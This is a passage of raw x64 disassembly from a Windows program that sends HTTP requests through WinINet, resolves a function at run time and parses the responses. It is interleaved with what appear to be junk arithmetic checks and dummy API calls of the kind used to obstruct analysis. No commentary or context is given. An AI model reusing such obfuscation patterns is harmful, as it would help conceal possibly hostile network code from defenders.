call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, str.HttpSendRequest_Failed_with:
lea rcx, [rbp + 0x1b8]
call fcn.140003890
nop
lea r8, [rbp + 0xa0]
mov rdx, rax
lea rcx, [rbp + 0x128]
call fcn.1400240e0
nop
mov rdx, rax
mov rbx, qword [rbp - 0x68]
mov rcx, rbx
call fcn.1400305c0
mov dword [rsp + 0x44], r13d
mov rdx, qword [rbp + 0x128]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140035829
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x1b8]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140035845
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0xa0]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140035861
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x60]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14003587a
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x58]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140035893
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x50]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400358ad
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x78]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400358c7
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x68]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400358e1
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x70]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400358fb
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x80]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140035914
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x58]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14003592e
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x70]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140035947
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
jmp 0x140037db3
mov rcx, r14
call fcn.140031650
test al, al
jne 0x140035b7b
mov ecx, dword [0x1401ddd80]
imul ecx, ecx
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xe
sub ecx, edx
cmp ecx, 5
jne 0x140035999
call fcn.1400d7b94
mov ecx, dword [0x1401ddd80]
cmp ecx, eax
jne 0x140035999
dec ecx
mov dword [0x1401ddd80], ecx
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
cmp byte [rsp + 0x40], 0
je 0x1400359b3
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [rbp + 0x100]
and eax, 0xffffff00
mov dword [rbp + 0x100], eax
btr eax, 8
mov dword [rbp + 0x100], eax
xor ecx, ecx
mov qword [rbp + 0x108], rcx
mov eax, dword [rbp + 0x1d8]
and eax, 0xffffff05
or eax, 5
mov dword [rbp + 0x1d8], eax
mov qword [rbp + 0x1e0], rcx
mov byte [rbp + 0x1d0], 1
lea rdx, [0x1401623ec]
lea rcx, [rbp + 0xf8]
call fcn.14003f690
mov rcx, rax
lea rdx, [rbp + 0x1d0]
call fcn.14003ed00
nop
lea rcx, [rbp + 0x1d0]
call fcn.14003ec50
lea rdx, str.no_response_needed
lea rcx, [rbp + 0x2f8]
call fcn.14003e9a0
nop
lea rdx, [0x140162ed8]
lea rcx, [rbp + 0xf8]
call fcn.14003f690
mov rcx, rax
lea rdx, [rbp + 0x2f8]
call fcn.14003ed00
nop
lea rcx, [rbp + 0x2f8]
call fcn.14003ec50
lea rdx, [rbp + 0xf8]
mov rbx, qword [rbp - 0x68]
mov rcx, rbx
call fcn.14003eaf0
mov dword [rsp + 0x44], r13d
lea rcx, [rbp + 0xf8]
call fcn.14003ec50
nop
mov rdx, qword [rbp - 0x60]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140035aa9
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x58]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140035ac2
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x50]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140035adc
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x78]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140035af6
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x68]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140035b10
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x70]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140035b2a
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x80]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140035b43
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x58]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140035b5d
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x70]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140035b76
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
jmp 0x140037db3
mov byte [rbp + 0xec0], 0
xor edx, edx
mov r8d, 0x400
lea rcx, [rbp + 0xec1]
call fcn.1400dc6e0
mov dword [rbp + 0x94], 0x400
lea rcx, [0x140162ec0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
test rax, rax
jne 0x140035d8a
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov r8d, dword [0x1401ddd80]
mov ecx, r8d
imul ecx, r8d
imul ecx, r8d
mov eax, 0x38e38e39
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*8]
add eax, eax
sub ecx, eax
cmp ecx, 4
jne 0x140035c1e
xor eax, eax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
mov r8d, dword [0x1401ddd80]
mov ecx, r8d
imul ecx, r8d
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xd
sub ecx, edx
cmp ecx, 5
jne 0x140035c4a
dec r8d
mov dword [0x1401ddd80], r8d
cmp byte [rsp + 0x40], 0
je 0x140035c5b
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, str.HttpQueryInfo_Failed
lea rcx, [rbp + 0x138]
call fcn.140003890
nop
mov rdx, rax
mov rbx, qword [rbp - 0x68]
mov rcx, rbx
call fcn.1400305c0
mov dword [rsp + 0x44], r13d
mov rdx, qword [rbp + 0x138]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140035c9f
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x60]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140035cb8
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x58]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140035cd1
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x50]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140035ceb
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x78]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140035d05
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x68]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140035d1f
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x70]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140035d39
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x80]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140035d52
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x58]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140035d6c
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x70]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140035d85
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
jmp 0x140037db3
lea rdx, [0x140162f40]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rsi
test rax, rax
jne 0x140035f66
call qword [sym.imp.WININET.dll_InternetCloseHandle]
call fcn.14002fc30
test al, al
jne 0x140035e26
mov ecx, dword [0x1401ddd80]
test ecx, ecx
je 0x140035e26
nop
mov eax, ecx
and eax, 0x80000001
jge 0x140035dd0
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x140035de5
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
mov ecx, eax
mov dword [0x1401ddd80], eax
jmp 0x140035df2
lea ecx, [rcx*2 + 1]
mov dword [0x1401ddd80], ecx
mov eax, 0x55555556
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
mov edx, ecx
sub edx, eax
je 0x140035e14
sub edx, 2
je 0x140035e17
dec edx
je 0x140035e19
jmp 0x140035e22
add ecx, 2
inc ecx
add ecx, 2
mov dword [0x1401ddd80], ecx
test ecx, ecx
jne 0x140035dc0
cmp byte [rsp + 0x40], 0
je 0x140035e37
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, [0x140162ef8]
lea rcx, [rbp + 0x198]
call fcn.140003890
nop
mov rdx, rax
mov rbx, qword [rbp - 0x68]
mov rcx, rbx
call fcn.1400305c0
mov dword [rsp + 0x44], r13d
mov rdx, qword [rbp + 0x198]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140035e7b
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x60]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140035e94
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x58]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140035ead
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x50]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140035ec7
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x78]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140035ee1
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x68]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140035efb
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x70]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140035f15
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x80]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140035f2e
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x58]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140035f48
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x70]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140035f61
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
jmp 0x140037db3
xor r15d, r15d
mov qword [rsp + 0x20], r15
lea r9, [rbp + 0x94]
lea r8, [rbp + 0xec0]
lea edx, [r15 + 0x13]
call rax
test eax, eax
jne 0x1400360d3
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
cmp byte [rsp + 0x40], r15b
je 0x140035fa4
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, [0x140162f10]
lea rcx, [rbp + 0x110]
call fcn.140003890
nop
mov rdx, rax
mov rbx, qword [rbp - 0x68]
mov rcx, rbx
call fcn.1400305c0
mov dword [rsp + 0x44], r13d
mov rdx, qword [rbp + 0x110]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140035fe8
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x60]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140036001
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x58]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14003601a
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x50]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140036034
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x78]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14003604e
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x68]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140036068
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x70]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140036082
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x80]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14003609b
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x58]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400360b5
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x70]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400360ce
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
jmp 0x140037db3
lea rcx, [0x1401d59a8]
mov rax, qword [0x1401d59a8]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp - 0x78], rax
lea rdx, [rbp + 0xec0]
lea rcx, [rbp - 0x78]
call fcn.140003a70
nop
cmp byte [r14 + 8], 0
jne 0x140036109
mov rsi, r12
jmp 0x14003611b
lea rdx, [0x140162f70]
mov rcx, r14
call fcn.14003f890
mov rsi, rax
movzx eax, byte [rsi + 8]
test al, al
je 0x1400363c1
cmp al, 6
je 0x1400363c1
cmp al, 7
jne 0x140036381
mov rcx, rsi
call fcn.14003f2c0
test eax, eax
jle 0x140037c3c
nop word [rax + rax]
lea rcx, [0x1401d59a8]
mov rax, qword [0x1401d59a8]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp + 0x48], rax
mov r8d, r15d
lea rdx, [0x14016238c]
lea rcx, [rbp + 0x48]
call fcn.140038210
mov rbx, qword [rbp + 0x48]
cmp byte [rsi + 8], 0
jne 0x14003618b
mov rax, r12
jmp 0x140036196
mov rdx, rbx
mov rcx, rsi
call fcn.14003f890
cmp byte [rax + 8], 4
jne 0x14003622d
lea rax, [rbp + 0x3e8]
mov qword [rbp + 0x18], rax
cmp byte [rsi + 8], 0
jne 0x1400361b6
mov rax, r12
jmp 0x1400361c1
mov rdx, rbx
mov rcx, rsi
call fcn.14003f890
mov rdx, qword [rax]
lea rcx, [rbp + 0x3e8]
call fcn.140001370
nop
mov rdx, rax
lea rcx, [rbp + 0x1e8]
call fcn.140023e70
nop
mov rdx, qword [rax]
xor r8d, r8d
mov eax, r8d
test rdx, rdx
setne al
test eax, eax
je 0x140036351
mov rax, qword [rbp - 0x78]
sub rdx, rax
nop
movzx ecx, word [rax]
cmp cx, word [rax + rdx]
jne 0x140036217
add rax, 2
test cx, cx
jne 0x140036200
mov eax, r8d
jmp 0x14003621c
sbb eax, eax
or eax, 1
test eax, eax
sete bl
mov rdx, qword [rbp + 0x1e8]
jmp 0x140036308
cmp byte [rsi + 8], 0
jne 0x140036238
mov rax, r12
jmp 0x140036243
mov rdx, rbx
mov rcx, rsi
call fcn.14003f890
cmp byte [rax + 8], 1
jne 0x140036324
lea rcx, [0x1401d59a8]
mov rax, qword [0x1401d59a8]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp + 0xe0], rax
cmp byte [rsi + 8], 0
jne 0x140036274
mov rax, r12
jmp 0x14003627f
mov rdx, rbx
mov rcx, rsi
call fcn.14003f890
mov rcx, rax
call fcn.14003eec0
mov r8d, eax
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0xf0]
call fcn.140024050
nop
mov rdx, qword [rbp + 0xe0]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400362b9
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
xor r8d, r8d
mov ecx, r8d
mov rax, qword [rbp + 0xf0]
test rax, rax
setne cl
test ecx, ecx
je 0x140036376
mov rcx, qword [rbp - 0x78]
sub rax, rcx
nop dword [rax + rax]
movzx edx, word [rcx]
cmp dx, word [rcx + rax]
jne 0x1400362f7
add rcx, 2
test dx, dx
jne 0x1400362e0
mov eax, r8d
jmp 0x1400362fc
sbb eax, eax
or eax, 1
test eax, eax
sete bl
mov rdx, qword [rbp + 0xf0]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14003631c
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
test bl, bl
jne 0x14003635c
mov rbx, qword [rbp + 0x48]
lea rdx, [rbx - 0x18]
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140036338
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
inc r15d
mov rcx, rsi
call fcn.14003f2c0
cmp r15d, eax
jge 0x140037c3c
jmp 0x140036150
mov ecx, 0x80004005
call fcn.140001920
nop
mov rdx, qword [rbp + 0x48]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400363b4
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
jmp 0x1400363b4
mov ecx, 0x80004005
call fcn.140001920
nop
mov rcx, r15
mov rdx, qword [rbp - 0x78]
lea r8, [0x140162f50]
nop
movzx eax, word [rdx + rcx*2]
inc rcx
cmp ax, word [r8 + rcx*2 - 2]
jne 0x1400363aa
cmp rcx, 4
jne 0x140036390
mov eax, r15d
jmp 0x1400363af
sbb eax, eax
or eax, 1
test eax, eax
sete bl
test bl, bl
jne 0x1400366a9
jmp 0x140037c3c
mov eax, dword [0x1401ddd80]
mov ecx, eax
imul ecx, eax
imul ecx, eax
mov eax, 0x38e38e39
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*8]
sub ecx, eax
cmp ecx, 3
jne 0x140036513
mov rbx, r15
mov r15d, 0xfa
call fcn.1400d7b94
movd xmm0, eax
cvtdq2pd xmm0, xmm0
movsd qword [rbp + rbx*8 + 0x6f0], xmm0
inc rbx
cmp rbx, r15
jb 0x1400363f6
xor eax, eax
mov r9d, eax
mov r11d, 0xf9
mov r10d, r11d
mov rdx, r11
cmp r9, r11
jge 0x140036504
cmp r10, 4
jl 0x1400364cd
lea rcx, [rbp + 0xea8]
mov r8d, 0xf5
sub r8, r9
shr r8, 2
inc r8
lea rax, [r8*4]
sub rdx, rax
nop word [rax + rax]
movsd xmm0, qword [rcx + 0x10]
movsd xmm1, qword [rcx + 8]
comisd xmm0, xmm1
jbe 0x14003647a
movsd qword [rcx + 0x10], xmm1
movsd qword [rcx + 8], xmm0
movsd xmm0, qword [rcx + 8]
movsd xmm1, qword [rcx]
comisd xmm0, xmm1
jbe 0x140036492
movsd qword [rcx + 8], xmm1
movsd qword [rcx], xmm0
movsd xmm0, qword [rcx]
movsd xmm1, qword [rcx - 8]
comisd xmm0, xmm1
jbe 0x1400364aa
movsd qword [rcx], xmm1
movsd qword [rcx - 8], xmm0
movsd xmm0, qword [rcx - 8]
movsd xmm1, qword [rcx - 0x10]
comisd xmm0, xmm1
jbe 0x1400364c4
movsd qword [rcx - 8], xmm1
movsd qword [rcx - 0x10], xmm0
sub rcx, 0x20
dec r8
jne 0x140036460
cmp rdx, r9
jle 0x140036504
movsd xmm0, qword [rbp + rdx*8 + 0x6f0]
movsd xmm1, qword [rbp + rdx*8 + 0x6e8]
comisd xmm0, xmm1
jbe 0x1400364fc
movsd qword [rbp + rdx*8 + 0x6f0], xmm1
movsd qword [rbp + rdx*8 + 0x6e8], xmm0
dec rdx
cmp rdx, r9
jg 0x1400364d2
inc r9
dec r10
dec r15
jne 0x140036422
mov ebx, r15d
mov rcx, rsi
call fcn.14003f2c0
test eax, eax
jle 0x140037c3c
mov edx, ebx
mov rcx, rsi
call fcn.14003f5a0
mov edx, ebx
mov rcx, rsi
cmp byte [rax + 8], 4
jne 0x1400365b4
lea rax, [rbp + 0x428]
mov qword [rbp + 0x18], rax
call fcn.14003f5a0
mov rdx, qword [rax]
lea rcx, [rbp + 0x428]
call fcn.140001370
nop
mov rdx, rax
lea rcx, [rbp + 0x158]
call fcn.140023e70
nop
mov rdx, qword [rax]
mov eax, r15d
test rdx, rdx
setne al
test eax, eax
je 0x14003669e
mov rax, qword [rbp - 0x78]
sub rdx, rax
movzx ecx, word [rax]
cmp cx, word [rax + rdx]
jne 0x14003659d
add rax, 2
test cx, cx
jne 0x140036586
mov eax, r15d
jmp 0x1400365a2
sbb eax, eax
or eax, 1
test eax, eax
sete r15b
mov rdx, qword [rbp + 0x158]
jmp 0x14003666b
call fcn.14003f5a0
cmp byte [rax + 8], 1
jne 0x140036687
lea rcx, [0x1401d59a8]
mov rax, qword [0x1401d59a8]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp + 0xb0], rax
mov edx, ebx
mov rcx, rsi
call fcn.14003f5a0
mov rcx, rax
call fcn.14003eec0
mov r8d, eax
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0xb8]
call fcn.140024050
nop
mov rdx, qword [rbp + 0xb0]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140036623
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov ecx, r15d
mov rax, qword [rbp + 0xb8]
test rax, rax
setne cl
test ecx, ecx
je 0x140037c31
mov rcx, qword [rbp - 0x78]
sub rax, rcx
movzx edx, word [rcx]
cmp dx, word [rcx + rax]
jne 0x140036659
add rcx, 2
test dx, dx
jne 0x140036642
mov eax, r15d
jmp 0x14003665e
sbb eax, eax
or eax, 1
test eax, eax
sete r15b
mov rdx, qword [rbp + 0xb8]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14003667f
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
test r15b, r15b
jne 0x1400366a9
xor r15d, r15d
inc ebx
mov rcx, rsi
call fcn.14003f2c0
cmp ebx, eax
jge 0x140037c3c
jmp 0x140036526
mov ecx, 0x80004005
call fcn.140001920
nop
xor r15d, r15d
mov dword [rbp], r15d
lea r9, [rbp]
mov rsi, qword [rbp - 8]
mov rcx, rsi
call fcn.140034640
lea rcx, [0x1401d59a8]
mov rax, qword [0x1401d59a8]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp - 0x50], rax
mov ebx, dword [rbp]
test ebx, ebx
je 0x1400367f4
mov r11d, dword [0x1401ddd80]
mov ecx, r11d
imul ecx, r11d
imul ecx, r11d
mov eax, 0x38e38e39
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*8]
add eax, eax
sub ecx, eax
cmp ecx, 0xd
jne 0x140036740
mov r8d, r15d
lea r9, [rbp + 0x660]
mov r10d, r11d
lea ecx, [r8 + r11]
mov eax, r10d
cdq
idiv ecx
mov dword [r9], edx
inc r8d
dec r10d
lea r9, [r9 + 4]
movsxd rax, r8d
cmp rax, 0x23
jb 0x140036720
mov rcx, rbx
call fcn.1400d68e8
mov rbx, rax
test rax, rax
je 0x1400367d1
lea rcx, str.Wininet.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
test rax, rax
je 0x140036791
